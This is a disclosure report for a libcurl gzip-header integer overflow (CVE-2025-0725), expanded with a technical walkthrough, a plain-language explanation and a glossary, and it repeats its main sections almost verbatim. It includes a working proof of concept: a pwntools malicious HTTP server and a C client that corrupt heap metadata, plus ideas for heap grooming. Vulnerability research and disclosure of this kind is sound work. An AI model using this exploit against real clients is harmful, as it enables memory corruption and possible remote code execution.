CVE-2025-0725: gzip integer overflow
A malicious HTTP server can send an endlessly large gzip header that overflows a size counter in libcurl's manual gzip header parsing, causing a heap buffer to be shrunk and then written out of bounds. This gives a controlled heap out-of-bounds write and a free of a forged chunk, which the author says could lead to remote code execution when combined with an information leak.
- Triaged in 3 days
- Fixed in 13 days
- Disclosed after 13 days
Hello, no AI slop this time. I promise!
The current master branch of libcurl contains a vulnerability in lib/content_encoding.c that allows a malicious HTTP-server to craft an arbitrary heap chunk in the memory of the victim and issue a free() of that forged chunk, when Content-Encoding: gzip is in use.
The vulnerability is in function gzip_do_write() in lines 533 - 544:
z->avail_in += (uInt) nbytes;
z->next_in = Curl_saferealloc(z->next_in, z->avail_in);
if(!z->next_in) {
return exit_zlib(data, z, &zp->zlib_init, CURLE_OUT_OF_MEMORY);
}
/* Append the new block of data to the previous one */
memcpy(z->next_in + z->avail_in - nbytes, buf, nbytes);
switch(check_gzip_header(z->next_in, (ssize_t)z->avail_in, &hlen)) {
case GZIP_OK:
/* This is the zlib stream data */
free(z->next_in);
On systems with a zlib version < 1.2.0.4, libcurl offers to manually parse gzip headers and trailers instead of passing everything to zlib as is. Unfortunately, when parsing the headers the remote server can trigger an integer overflow of z->avail_in in line 533, which leads the following Curl_saferealloc() call to shrink the chunk z->next_in. The following memcpy() can then write out-of-bounds before z->next_in, overwriting chunk metadata of the allocator. And right after the oob-write was triggered, the call to free(z->next_in) puts the forged chunk into the freelist of the allocator. z->avail_in can be overflowed because libcurl supports endlessly large gzip headers that can lead to repeated calls of gzip_do_write() with zp->zlib_init == ZLIB_GZIP_HEADER that keep incrementing z->avail_in with the amount of received data nbytes.
PoC
Consider the following malicious HTTP-server:
#!/usr/bin/env python3
from pwn import *
gzip_header = bytes([
0x1f, 0x8b, # magic values
8, # method
8, # flags
0, 0, 0, 0, 0, 0, # random bullshit go
])
with listen(1234) as conn:
conn.wait_for_connection()
# Discard HTTP request
while True:
line = conn.recvline()
if line == b"\r\n":
break
# Fill up buffer
conn.sendline(b"HTTP/1.1 200 OK\r")
conn.sendline(b"Content-Encoding: gzip\r")
conn.sendline(b"\r")
conn.send(gzip_header)
todo = 0xFFFFFFFF - 15 - len(gzip_header)
amnt = 6000000
while todo > amnt:
conn.send(bytes([1]) * amnt)
todo -= amnt
conn.send(bytes([1]) * todo)
# Trigger integer overflow
time.sleep(5)
conn.send(bytes(32)) # forged chunk
And consider the following libcurl client:
#include <curl/curl.h>
int main (void) {
CURL *curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, "http://127.0.0.1:1234/");
curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, "gzip");
curl_easy_setopt(curl, CURLOPT_BUFFERSIZE, 10485760); // to speed up the PoC
curl_easy_perform(curl);
}
When launching
python3 ./server.py
in one terminal and
./client
in another terminal, we can observe that after ~10min. we get the following message:
free(): invalid pointer
[1] 233088 IOT instruction (core dumped) ./client
Meaning that we were successfully able to overwrite chunk metadata.
Impact
The vulnerability
- exists both in the library and the tool in every installation
- is easy to trigger, a victim just has to be pointed to an evil URL
- can lead to RCE when combined with information leaks that bypass ASLR because it offers a controlled heap out-of-bounds write exploitation primitive
Thus I suggest severity "High"
Context
libcurl is the library behind the curl command line tool, and it handles HTTP content decoding for compressed responses. When a server responds with Content-Encoding: gzip, libcurl normally hands the gzip stream to zlib. On systems with a zlib version below [redacted], however, libcurl parses the gzip header and trailer itself instead of passing everything to zlib as is. That manual parsing path lives in lib/content_encoding.c, in the function gzip_do_write().
The report describes a vulnerability in that function on the current master branch of libcurl (commit [redacted]). A malicious HTTP server can use it to craft an arbitrary heap chunk in the memory of the victim and then issue a free() of that forged chunk, provided Content-Encoding: gzip is in use.
Setup
The preconditions are:
- The victim runs libcurl (library or tool) built against a zlib version below
[redacted], so the manual gzip header parsing path is active. - The victim requests a URL controlled by the attacker, and gzip content encoding is accepted and used.
- The attacker controls the HTTP server that answers the request.
The proof of concept uses a Python server built on pwn and a small C client. The client sets CURLOPT_ACCEPT_ENCODING to gzip and raises CURLOPT_BUFFERSIZE to 10485760 to speed up the PoC.
Finding it
The researcher points at lines 533 to 544 of lib/content_encoding.c:
z->avail_in += (uInt) nbytes;
z->next_in = Curl_saferealloc(z->next_in, z->avail_in);
if(!z->next_in) {
return exit_zlib(data, z, &zp->zlib_init, CURLE_OUT_OF_MEMORY);
}
/* Append the new block of data to the previous one */
memcpy(z->next_in + z->avail_in - nbytes, buf, nbytes);
switch(check_gzip_header(z->next_in, (ssize_t)z->avail_in, &hlen)) {
case GZIP_OK:
/* This is the zlib stream data */
free(z->next_in);
The problem is the accumulation in z->avail_in. Because libcurl supports endlessly large gzip headers, a server can keep the parser in the ZLIB_GZIP_HEADER state across repeated calls to gzip_do_write(), and each call adds the amount of received data nbytes to z->avail_in. Once that counter overflows, the following Curl_saferealloc() call shrinks the chunk z->next_in instead of growing it. The subsequent memcpy() then writes out of bounds before z->next_in, overwriting chunk metadata of the allocator. Immediately after the out-of-bounds write, the call to free(z->next_in) puts the forged chunk into the freelist of the allocator.
Exploitation
Step 1: the malicious server
The PoC server sends a gzip header with magic values, method and flags, then streams filler bytes. The header is defined as:
gzip_header = bytes([
0x1f, 0x8b, # magic values
8, # method
8, # flags
0, 0, 0, 0, 0, 0, # random bullshit go
])
The server listens on port 1234, discards the incoming HTTP request until the blank line, and then answers with a gzip-encoded response:
conn.sendline(b"HTTP/1.1 200 OK\r")
conn.sendline(b"Content-Encoding: gzip\r")
conn.sendline(b"\r")
conn.send(gzip_header)
It then sends filler bytes in chunks of 6,000,000 until the remaining amount to reach 0xFFFFFFFF - 15 - len(gzip_header) is smaller than that chunk size, and sends the remainder:
todo = 0xFFFFFFFF - 15 - len(gzip_header)
amnt = 6000000
while todo > amnt:
conn.send(bytes([1]) * amnt)
todo -= amnt
conn.send(bytes([1]) * todo)
After a five second pause, it sends 32 zero bytes, described in the report as the forged chunk:
# Trigger integer overflow
time.sleep(5)
conn.send(bytes(32)) # forged chunk
Step 2: the client
The client is a minimal libcurl program that requests the server URL with gzip accepted:
#include <curl/curl.h>
int main (void) {
CURL *curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, "http://[redacted]:1234/");
curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, "gzip");
curl_easy_setopt(curl, CURLOPT_BUFFERSIZE, 10485760); // to speed up the PoC
curl_easy_perform(curl);
}
Step 3: running it
Start the server in one terminal:
python3 ./server.py
and the client in another:
./client
After roughly 10 minutes, the client aborts with:
free(): invalid pointer
[1] 233088 IOT instruction (core dumped) ./client
That message confirms that chunk metadata was successfully overwritten.
Root cause
The integer overflow happens in z->avail_in += (uInt) nbytes;. The received byte count is added to z->avail_in after a (uInt) cast, and the parser can be kept in the gzip header state indefinitely, so repeated calls keep adding received data until the value wraps. The wrapped value is then passed as the size to Curl_saferealloc(), which shrinks the buffer. The memcpy() computes its destination as z->next_in + z->avail_in - nbytes, which lands before the start of the buffer, and writes there. The overwritten region is allocator chunk metadata, and the following free(z->next_in) hands the forged chunk to the allocator's freelist.
Impact
The report lists the impact as follows:
- The vulnerability exists both in the library and the tool in every installation.
- It is easy to trigger: a victim just has to be pointed to an evil URL.
- It can lead to RCE when combined with information leaks that bypass ASLR, because it offers a controlled heap out-of-bounds write exploitation primitive.
The researcher suggests severity "High". The platform records the report as low severity with the weakness "Integer Overflow to Buffer Overflow".
Fix
The report does not describe a fix or a patch.
Variants to test
- Other content encodings that libcurl parses manually rather than delegating to a library. A positive result is a similar counter that grows with attacker-controlled input and is later used as a size or offset.
- Other zlib version boundaries where libcurl switches between manual parsing and delegation. A positive result is a build where the manual path is active and the header state can be held open by the server.
- Any parser that keeps a running total of received bytes in a fixed-width integer and reallocates based on that total. A positive result is a wrap that turns a grow into a shrink followed by a write before the buffer start.
- Heap grooming around the forged chunk, to see whether the freed forged chunk can be reallocated and its contents controlled. A positive result is a subsequent allocation returning the forged region.
What happened, in plain words
A security researcher found a bug in libcurl, a piece of software that many programs use to download things from the internet. The bug lets a malicious website (or more precisely, a malicious web server) trick a program that uses libcurl into corrupting its own memory. The report says it can lead to RCE when combined with information leaks that bypass ASLR.
The bug only appears in a specific situation: when libcurl is built against an old version of another library called zlib (older than [redacted]), and when the server sends its answer compressed with a format called gzip. In that setup, libcurl reads the gzip header itself instead of handing it to zlib, and that hand-written reading code has a counting mistake. The counter can wrap around to a small number, which makes libcurl shrink a memory buffer instead of growing it, and then write data in the wrong place.
The researcher wrote a small fake web server and a small test program to prove it. After about ten minutes, the test program crashed with a message saying it had freed an invalid pointer, which shows the memory had indeed been corrupted.
Background: the pieces involved
Before looking at the bug, here is what each piece is, in everyday terms.
- curl and libcurl:
curlis a command line program for fetching URLs. Behind it sits libcurl, a library (a reusable block of code) that other programs can call to do the same fetching. Think of libcurl as the engine andcurlas one car that uses it; many other cars use the same engine. - HTTP: the language browsers and servers speak to exchange web pages and files. A request goes out, a response comes back with a status line, some headers (small labels such as
Content-Encoding), and a body (the actual content). - Compression and gzip: to save bandwidth, servers often compress the body before sending it. gzip is one common compression format. The server announces it with the header
Content-Encoding: gzip, and the client is expected to decompress the body before using it. - zlib: a widely used library that does the actual gzip compression and decompression. libcurl normally hands the compressed data to zlib and lets it do all the work.
- Heap: the area of a program's memory used for data whose size is only known while the program runs, such as a buffer that grows as more data arrives. A component called the allocator hands out pieces of the heap (called chunks) and keeps a little bookkeeping data (metadata) next to each chunk so it knows what is in use and what is free.
- Buffer overflow / out-of-bounds write: writing data past the end (or before the start) of a buffer. It is like pouring water into a glass and not stopping at the rim: the liquid goes where it should not. Here the overflow lands on the allocator's bookkeeping, which is dangerous because the allocator later trusts that bookkeeping.
- Integer overflow: computers store numbers in fixed-size boxes. A counter that keeps growing eventually reaches the largest value the box can hold and then wraps around to a small value, like an old car odometer rolling from 99999 back to 00000. Code that assumes the number only ever grows can then do the wrong thing.
free(): the function a program calls to tell the allocator it is done with a chunk. The allocator puts that chunk on a list of reusable space, the freelist.- RCE (remote code execution): an attacker getting their own code to run on the victim's machine. ASLR is a defence that randomises where things sit in memory to make that harder; an information leak is a bug that reveals those addresses, which can be combined with a memory corruption bug to defeat ASLR.
The setup needed for the bug
The conditions are:
- The victim runs libcurl (as a library or through the
curltool) built against a zlib version below[redacted]. Only then does libcurl parse the gzip header itself instead of passing everything to zlib. - The victim requests a URL controlled by the attacker, and gzip content encoding is accepted and used.
- The attacker controls the HTTP server that answers the request.
The proof of concept uses a Python server built on a library called pwn (a toolkit often used for this kind of testing) and a small C client. The client tells libcurl to accept gzip and raises the buffer size to 10485760 bytes to make the test run faster.
Finding it
The researcher points at lines 533 to 544 of the file lib/content_encoding.c, in a function called gzip_do_write():
z->avail_in += (uInt) nbytes;
z->next_in = Curl_saferealloc(z->next_in, z->avail_in);
if(!z->next_in) {
return exit_zlib(data, z, &zp->zlib_init, CURLE_OUT_OF_MEMORY);
}
/* Append the new block of data to the previous one */
memcpy(z->next_in + z->avail_in - nbytes, buf, nbytes);
switch(check_gzip_header(z->next_in, (ssize_t)z->avail_in, &hlen)) {
case GZIP_OK:
/* This is the zlib stream data */
free(z->next_in);
Line by line, in plain words:
z->avail_in += (uInt) nbytes;adds the number of newly received bytes (nbytes) to a running total of bytes held in the buffer (z->avail_in). The(uInt)cast means the total is kept in a fixed-size unsigned integer, the kind of box that can wrap around.z->next_in = Curl_saferealloc(z->next_in, z->avail_in);resizes the bufferz->next_inso it is exactly as large as the running total.reallocis the standard "resize this block of memory" operation;Curl_safereallocis libcurl's wrapper around it.- The
if(!z->next_in)block handles the case where resizing failed (out of memory) and bails out. memcpy(z->next_in + z->avail_in - nbytes, buf, nbytes);copies the new bytes to the end of the buffer. The destination is computed as the start of the buffer plus the running total minus the new bytes, which should be exactly where the previous data ended.- The
switchcallscheck_gzip_header()to see whether the buffer now holds a complete gzip header. If it does (GZIP_OK), the header is no longer needed, sofree(z->next_in)releases the buffer.
The problem is the accumulation in z->avail_in. libcurl supports endlessly large gzip headers, so a server can keep the parser in the ZLIB_GZIP_HEADER state across repeated calls to gzip_do_write(), and each call adds the amount of received data nbytes to z->avail_in. Once that counter wraps around, the Curl_saferealloc() call shrinks the chunk z->next_in instead of growing it. The memcpy() then computes a destination before the start of the buffer and writes out of bounds there, overwriting the allocator's chunk metadata. Immediately after that out-of-bounds write, free(z->next_in) puts the forged chunk into the allocator's freelist.
Exploitation
Step 1: the malicious server
The PoC server sends a gzip header with magic values, method and flags, then streams filler bytes. The header is defined as:
gzip_header = bytes([
0x1f, 0x8b, # magic values
8, # method
8, # flags
0, 0, 0, 0, 0, 0, # random bullshit go
])
This builds the first bytes of a gzip stream. 0x1f, 0x8b is the two-byte signature that says "this is gzip". The next byte (8) is the compression method, and the byte after it (8) is a set of flags. The remaining six zero bytes are commented in the report as random values.
The server listens on port 1234, discards the incoming HTTP request until the blank line that ends the headers, and then answers with a gzip-encoded response:
conn.sendline(b"HTTP/1.1 200 OK\r")
conn.sendline(b"Content-Encoding: gzip\r")
conn.sendline(b"\r")
conn.send(gzip_header)
Line by line:
HTTP/1.1 200 OKis the status line: the request succeeded.Content-Encoding: gziptells the client the body is gzip-compressed, which is what makes libcurl take the vulnerable code path.- The empty line marks the end of the headers and the start of the body.
conn.send(gzip_header)sends the gzip header bytes defined above as the beginning of the body.
It then sends filler bytes in chunks of 6,000,000 until the remaining amount to reach 0xFFFFFFFF - 15 - len(gzip_header) is smaller than that chunk size, and sends the remainder:
todo = 0xFFFFFFFF - 15 - len(gzip_header)
amnt = 6000000
while todo > amnt:
conn.send(bytes([1]) * amnt)
todo -= amnt
conn.send(bytes([1]) * todo)
Line by line:
todois how many filler bytes are still needed.0xFFFFFFFFis the largest value a 32-bit unsigned integer can hold, and the code stops just short of it (minus 15 and the header length) so the next addition will tip the counter over the edge.amntis the size of each batch sent, 6,000,000 bytes.- The
whileloop sends a batch of0x01bytes and subtracts it fromtodountil less than a full batch remains. - The final
conn.sendsends the leftover bytes.
After a five second pause, it sends 32 zero bytes, described in the report as the forged chunk:
# Trigger integer overflow
time.sleep(5)
conn.send(bytes(32)) # forged chunk
Step 2: the client
The client is a minimal libcurl program that requests the server URL with gzip accepted:
#include <curl/curl.h>
int main (void) {
CURL *curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, "http://[redacted]:1234/");
curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, "gzip");
curl_easy_setopt(curl, CURLOPT_BUFFERSIZE, 10485760); // to speed up the PoC
curl_easy_perform(curl);
}
Line by line:
#include <curl/curl.h>pulls in libcurl's declarations so the program can call it.curl_easy_init()creates a handle, an object that holds the settings for one transfer.CURLOPT_URLsets the address to fetch:http://[redacted]:1234/, which is the local machine on port 1234, where the fake server is listening.CURLOPT_ACCEPT_ENCODINGset to"gzip"tells libcurl to accept gzip-compressed responses, which is what activates the vulnerable parsing path.CURLOPT_BUFFERSIZEset to10485760makes libcurl use a larger buffer, so the test reaches the overflow faster.curl_easy_perform(curl)actually performs the request.
Step 3: running it
Start the server in one terminal:
python3 ./server.py
and the client in another:
./client
After roughly 10 minutes, the client aborts with:
free(): invalid pointer
[1] 233088 IOT instruction (core dumped) ./client
That message confirms that chunk metadata was successfully overwritten.
Root cause
The integer overflow happens in z->avail_in += (uInt) nbytes;. The received byte count is added to z->avail_in after a (uInt) cast, and the parser can be kept in the gzip header state indefinitely, so repeated calls keep adding received data until the value wraps. The wrapped value is then passed as the size to Curl_saferealloc(), which shrinks the buffer. The memcpy() computes its destination as z->next_in + z->avail_in - nbytes, which lands before the start of the buffer, and writes there. The overwritten region is allocator chunk metadata, and the following free(z->next_in) hands the forged chunk to the allocator's freelist.
Impact
The report lists the impact as follows:
- The vulnerability exists both in the library and the tool in every installation.
- It is easy to trigger: a victim just has to be pointed to an evil URL.
- It can lead to RCE when combined with information leaks that bypass ASLR, because it offers a controlled heap out-of-bounds write exploitation primitive.
The researcher suggests severity "High". The platform records the report as low severity with the weakness "Integer Overflow to Buffer Overflow".
Fix
The report does not describe a fix or a patch.
Variants to test
- Other content encodings that libcurl parses manually rather than delegating to a library. A positive result is a similar counter that grows with attacker-controlled input and is later used as a size or offset.
- Other zlib version boundaries where libcurl switches between manual parsing and delegation. A positive result is a build where the manual path is active and the header state can be held open by the server.
- Any parser that keeps a running total of received bytes in a fixed-width integer and reallocates based on that total. A positive result is a wrap that turns a grow into a shrink followed by a write before the buffer start.
- Heap grooming around the forged chunk, to see whether the freed forged chunk can be reallocated and its contents controlled. A positive result is a subsequent allocation returning the forged region.
Glossary
- libcurl: a library that programs use to fetch URLs; the engine behind the
curlcommand line tool. - curl: a command line program for downloading and uploading data over the internet, built on libcurl.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- Header: a small labelled field in an HTTP request or response, such as
Content-Encoding. - Content-Encoding: the HTTP header that says how the body is compressed, for example
gzip. - gzip: a common compression format for files and web responses.
- zlib: a widely used library that performs gzip compression and decompression.
- Heap: the part of a program's memory used for data whose size is decided while the program runs.
- Allocator: the part of the runtime that hands out and reclaims heap memory.
- Chunk: one block of heap memory handed out by the allocator.
- Metadata: the allocator's bookkeeping data stored alongside each chunk.
- Freelist: the allocator's list of chunks that have been freed and can be reused.
free(): the function that returns a chunk to the allocator.realloc(): the function that resizes an existing block of memory.- Buffer: a region of memory used to hold data, such as incoming bytes.
- Buffer overflow / out-of-bounds write: writing data outside the intended bounds of a buffer.
- Integer overflow: a fixed-size number wrapping around to a small value after exceeding its maximum.
uInt: an unsigned integer type of fixed width, used here for the byte counter.- PoC (proof of concept): a small program that demonstrates a vulnerability works.
- RCE (remote code execution): an attacker getting their own code to run on a victim's machine.
- ASLR: a defence that randomises memory addresses to make exploitation harder.
- Information leak: a bug that reveals memory addresses or other internal data to an attacker.
- Exploitation primitive: a basic capability, such as a controlled out-of-bounds write, that an attacker builds a full attack from.
- Heap grooming: arranging the heap with controlled allocations and frees so a later bug lands where the attacker wants.
- Severity: a rating of how serious a vulnerability is.
- CVE: a public identifier assigned to a known vulnerability.